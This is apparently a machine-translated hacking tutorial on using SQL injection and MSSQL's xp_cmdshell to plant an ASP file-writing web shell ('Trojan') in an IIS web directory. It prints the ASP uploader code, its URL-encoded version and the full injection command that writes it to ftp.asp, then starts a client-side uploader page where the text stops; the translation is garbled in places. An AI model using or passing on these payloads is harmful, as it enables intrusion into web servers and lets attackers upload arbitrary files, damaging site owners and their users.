SQL injection and ASP Trojan upload

Trojan Horse | Upload SQL injection, how to upload a Trojan, has been a headache, I am here to provide an alternative way to upload a trojan. 1, SQL injection, with xp_cmdshell to the server to write a file to write an ASP file. File contents: <%set objFSO = Server.CreateObject ("Scripting.FileSystemObject") Set Objcountfile=objfso.createtextfile ( Request ("MyPath"), True) Objcountfile.write request ("MyData") objcountfile.close%> This file can be written as a line <%set objFSO = Server.CreateObject ("Scripting.FileSystemObject"): Set objcountfile=objfso.createtextfile (Request ("MyPath"), True ): Objcountfile.write request ("MyData"):objcountfile.close%> encode special characters to get%3c%25set%20objfso%20=% 20server.createobject (%22scripting.filesystemobject%22): set%20objcountfile=objfso.createtextfile (Request (% 22MYPATH%22), True: Objcountfile.write%20request (%22mydata%22): objcountfile.close%25%3e Injection (This assumes that the Web directory is C:\Inetpub\ wwwroot\): EXEC master ... xp_cmdshell ' echo '%3c%25set%20objfso%20=%20server.createobject (%22scripting.filesystemobject%22): Set% 20objcountfile=objfso.createtextfile (Request (%22MYPATH%22), True): Objcountfile.write%20request (%22mydata%22): o bjcountfile.close%25%3E "> C:\Inetpub\wwwroot\ftp.asp"; this will generate a ftp.asp file in the server's web directory The code for the file is <%set objFSO = Server.CreateObject (" Scripting.FileSystemObject ") Set Objcountfile=objfso.createtextfile (Request (" MyPath "), True) objcountfile.write Request ("MyData") objcountfile.close%> you can see that the above code has two interfaces reserved MyPath and Mydatamypath is the next time to submit The file's build path MyData is the contents of the file write a client-side file locally: The rohuclient.htm code is as follows <! DOCTYPE HTML PUBLIC "-//w3c//dtd HTML 4.01 transitional//en" >